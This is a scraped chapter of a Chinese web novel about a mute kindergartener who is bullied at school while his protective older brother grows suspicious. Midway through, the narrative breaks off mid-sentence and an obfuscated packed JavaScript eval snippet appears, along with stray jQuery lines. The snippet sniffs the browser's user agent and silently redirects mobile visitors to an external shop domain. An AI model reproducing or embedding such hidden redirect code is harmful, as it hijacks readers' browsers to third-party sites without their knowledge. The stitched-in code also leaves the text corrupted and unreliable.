文趣网 > 都市小说 > 养大雪团子当老婆 > 13. Chapter 13
    祝桉第二天上学又被撞了。

    这次他一屁股坐到了地上。地面铺着泡沫软垫,其实没上次胳膊磕桌角疼。

    但是他摔得那么明显,祝桉不相信向宇翰没看见,可那个连续撞了他两次的胖小子,既没道歉也没伸手拉他。

    上午交算数本的时候祝桉就记住了向宇翰的名字,更别提姜老师还专门夸过他。

    姜老师是菁苗班外聘来的新老师,她个子很高,不像别的老师一样会陪着他们一起玩,只是坐在远远的讲桌上,一个眼神扫过来,菁苗班的小朋友就不敢说话。

    大家都有点怕她。

    正值活动时间,小朋友们三三两两往外跑。

    祝桉在这个班级还没交到朋友,他撑着地板想站起来,正这时,一只白净的小手伸到他面前。

    是林煦宁。

    “祝桉,起来。”他准确地叫出了祝桉的名字。

    祝桉有点惊喜,毕竟后来他们俩几乎没说过话,他一直以为林煦宁已经把自己忘了。

    教室里只剩他们两个人,祝桉拍拍屁股坐回座位上,扭头就看见林煦宁从背带裤的口袋里摸出来一包半碎的饼干。

    他看着那包饼干,又圆又黑的眸子睁得老大,似乎不明白明明放在胸口的小饼干怎么就碎成这样了。

    林煦宁专注地想了想,跑回座位拿了纸笔。

    他写道:“今天上午也zhuang了我一下。”

    祝桉微微吃惊,也拿了支笔写上“向宇翰”三个字,打了个大大的问号,林煦宁则在旁边画了个肚子圆鼓鼓的小人。

    两个小孩对视一眼,同步点了点头。

    “他是不是不喜欢我们?”祝桉写道。

    林煦宁摇摇头,眼里很平静:“小饼干没re他。”

    祝桉拿笔帽戳了戳他:“你可以说话,不用跟我一样写字。”

    林煦宁又摇摇头:“我一说话,就停不下来。”

    祝桉想起开学第一天见识过的那场沉浸式自我介绍,笔尖停住,有点想笑。

    又看见林煦宁跟着写道:“我妈妈说我有点笨。”

    他在旁边画了个哭脸,然后面无表情地把碎掉的小饼干拆开,挑出里面还算完整的半块递给住祝桉。

    祝桉发现林煦宁真的有点像小木头人,他毫无芥蒂地接过小饼干塞进嘴里,空着的一只手还给林煦宁画了个小爱心。

    “你不笨。”

    他指了指“菁苗班”的大门,又竖起大拇指,小木头人不好意思地挠了挠脑袋。

    两个人写写画画涂满了一张纸,教室里很安静,只有咬饼干渣的咔嚓声,两个圆圆的脑袋越靠越近,林煦宁终于慢慢笑了起来。

    这时候,活动时间结束了,小朋友们像小蜜蜂一样嗡嗡地挤进教室。

    向宇翰身边簇着几个精瘦的小跟班,衬得他自己像颗圆滚滚的皮球。

    他带领小跟班经过,看到祝桉和林煦宁挨在一起,不屑地嗤笑一声。

    “哑巴凑一双。”

    细细密密的笑声被这一句话点爆,以祝桉的座位为中心,顿时燃烧起来。

    祝桉难以置信地抬头,对面的小胖子叉着腰,分毫不觉得这话有什么问题:“说得就是你们俩,话都说不清楚的两个小哑巴,还敢考第一第二。”

    第一第二?本来有点生气的祝桉瞬间被这句话转移注意力。

    他震惊地看着林煦宁:第二?你刚才不是还说自己笨?

    林煦宁也瞪大了眼睛:祝桉是第一?妈妈只告诉他自己进了菁苗班,姜老师也从没提过名次。

    “喂!你们两个很得意么?”向宇翰龇着牙,圆墩墩的身子猛扑过来。

    幸亏他们俩个子都小,慌慌张张钻到桌子底下从侧面溜了出去,反倒是向宇翰冲得太急,差点栽到桌子上,情急之下一左一右拽住两个小跟班,三个人叠罗汉似的摔成一团。

    祝桉和林煦宁手拉手躲得远远的,还没喘匀气,门口传来一声厉喝:“都干什么呢!”

    “快回座位,姜老巫婆来了!”

    下一秒,让所有小朋友闻风丧胆的姜宝芬不知看见了什么,脸色一变,踩着高跟鞋噔噔蹬就走到向宇翰身边,一把把他拉了起来。

    她扫视一周,其他小朋友都缩得和鹌鹑一样,只有(2)班来的那两个手拉手一脸警觉,向宇翰一脸咬牙切齿地看着那边。

    姜宝芬不由分说:“祝桉,林煦宁!你们两个,站到座位上去!”

    ·

    周宅。

    周时野今天被留堂了,跑回来的时候一头汗。

    他照例边换鞋边大声嚷嚷祝桉的名字,甩下书包冲进书房,声音才倏然消失。

    桉桉穿着幼儿园校服趴在沙发上睡着了。

    小脸朝下,像一团软趴趴陷进去的面粉团子,脸颊肉挤出圆鼓鼓的弧度,嘴唇微微嘟起,白生生的小手攥成拳头。

    周时野愣在原地,直到管家拿着小毯子出现,顺手拍了下他脑袋。

    周时野回神,小声嘟囔:“怎么又趴着睡了。”

    他走上前轻轻把人拍醒:“桉桉?去洗澡,洗完到床上去睡。”

    把迷迷糊糊的小团子从沙发上拽出来,周时野轻声哄了几句,然后就让管家先把桉桉抱去浴室,自己则飞快地跑去卧室找两个人的睡衣。

    浴室水汽氤氲,祝桉没骨头似的趴在管家身上,没一会儿就变得光溜溜的。

    官家刚把桉桉放进浴缸里,周时野闪身进来,二话不说,胳膊一抬就把上衣脱了。

    祝桉懵懵转醒,看到的就是哥哥光着屁股往水里踏。

    “今天上学很累吗?”

    周时野摸摸桉桉被热气熏得通红的脸,边往桉桉身上撩水边搓。

    还没等迷迷糊糊、困倒在自己手心里的桉桉回答,突然,周时野目光一凝。

    只见祝桉细白的小胳膊上,赫然一块淤青,白皮肤衬得分外刺眼。

    周时野脸色一下子就变了:“你这是怎么弄的?”

    祝桉一看,是向宇翰那天把他撞到桌角留下的。

    “桉桉,说话,怎么弄的?”

    周时野慌慌张张地捏他的脸,桉桉皱着小眉毛,像在费力组织语言,毕竟描述一整件事的手语对现在的桉桉来说还太难。

    一个说不了话的小孩,他其实很难把这件事说清。

    周时野很心疼,但他等不了了:“程爷爷,我们直接联系老师让他们调一下监控.....监控,桉桉,你还记得这个淤青是哪一天出现的吗?”

    周时野心里凉了半截,桉桉自己都不清楚,他要怎么靠监控排查出是什么人、或者什么东西,伤害了桉桉?

    “是不是有人欺负你?”

    周时野握紧拳头,犬齿微眦,带着点当初在父母面前掀桌的疯狂,仿佛只要祝桉说出一个名字,他就能立刻冲过去把对方撕得粉碎。

    “阿野,你冷静点。”

    祝桉看着周时野分明过激的样子,只是打着手语道:“不小心碰的。”

    他慢慢踩着水划过去,脸蛋贴上周时野的脸颊,轻轻蹭了蹭。

    “我没有事。”

    桉桉对他笑了一下。

    周时野不相信,反复和他确认,最后把桉桉逼得光屁股就从水里逃了出去。

    晚上,周时野抱着枕头去敲祝桉的房门,结果从门缝下面递过来一张纸:哥哥,我想玩你的录音笔。

    纸上细致地画了池卓煜送他的那支。

    周

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800607|210619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时野不疑有他,得到道具的祝桉勉强放哥哥进来,靠装睡躲过了一轮又一轮盘问。

    第二天姜宝芬的算数课,安静的教室里忽然响起“骨碌碌”的滚动声。

    祝桉的笔掉到了地上,他弯腰摸了半天也没摸到,钻到课桌下去找,小脑袋东探西探,还是没摸到。

    他声音弄得有点大,没一会就听见姜宝芬不耐烦的声音:“祝桉?”

    祝桉拽着衣服边局促地从桌子下钻出来。

    周围,向宇翰的小跟班都盯着他,看他张张嘴又说不出一句话,最后姜宝芬把眉一横:“你再弄出动静就出去站着。”

    祝桉委屈巴巴地坐下,从笔袋里摸了半天,才又摸出一支笔。

    那个在刚开学被周时野塞得满满的笔袋,此刻几乎见了底。

    周围冒出“吃吃”的笑声。

    而另一边,蘅阳实验小学一(1)班。

    周时野被英语老师一个粉笔头丢醒,不知道是起床气还是什么,他眉眼压得很低,四周的学生大气不敢出。

    只有他自己知道,他还是觉得不太对劲。

    后面两节课都是体育,池卓煜和另外几个同学抱着球来教室找周时野,大家还没打上招呼,周时野脸很臭地拎着书包,另一只胳膊横过池卓煜的脖子,旁若无人地把他带走。

    “勒死我了!有话好好说——”

    周时野一路把人拖到医务室,刚好里面没人。

    他径直走向室内那台座机。

    “你要干嘛?”

    “等会老师问起来,你说我不舒服去医务室了。”

    周时野蹲在地上开始一本本往外掏出书:“我怀疑桉桉在学校里受人欺负了,他不跟我说。”

    “......所以你要自己去看看?”池卓煜一脸怀疑,“你怎么去?”

    “接桉桉的司机这个点应该刚出发,我给他打个电话,让他先把我带上。”

    “你记得你们家司机的电话?”

    周时野摊开一本语文书的扉页:“桉桉帮我抄过,他怕我哪天跑丢了,把家里人的电话记在我书上了。”

    池卓煜看着那串数字旁边一行娟秀稚气的字:如果捡到这本书,请拨打这个电话哦。

    ——其实他是怕你哪天一个不乐意,把书丢了吧。

    池卓煜无语死了,既觉得周时野真是自作多情,又觉得小桉桉实在聪明。

    再讨厌的书上面如果写了桉桉的字,周时野这个弟控也会恨不得把书收藏一辈子吧。

    接下来他围观了周时野打电话给那个倒霉司机并威胁对方不许把这件事透露给管家和爷爷的全过程,他心想这个主意不知道花掉周时野多少脑细胞。

    从他睡醒到现在,也就二十分钟吧。

    池卓煜头一回有些佩服周时野的执行力。

    为兄弟两肋插刀,池卓煜拍拍胸脯:“你放心去吧,这里有我。”

    三十分钟后,一辆低调的豪车停在诺汀幼儿园,此时周围已经围着不少车和人,三三两两的小朋友从幼儿园里出来,看样子已经打过放学铃了。

    周时野翻身下车,沿着熟悉的石板路去小班的教室。

    诺汀很大,绿化尤其好,主干道修得又宽又平整,两旁的香樟树浓荫如盖。

    没过一会他就看见一个熟悉的小身影,他家桉桉背着小书包,乖巧地走在路的最右边。

    周时野正要招手,突然,从桉桉后面冲出来一个小胖子。

    他看得分明清楚,那么宽的路,可他偏要横在中间乱走,和身旁的人嬉笑打闹,最后分毫不让的,撞在祝桉身上。

    小小的身子往花坛那边一歪,祝桉吃痛地捂住胳膊。

    周时野的面色,一下子变得森寒。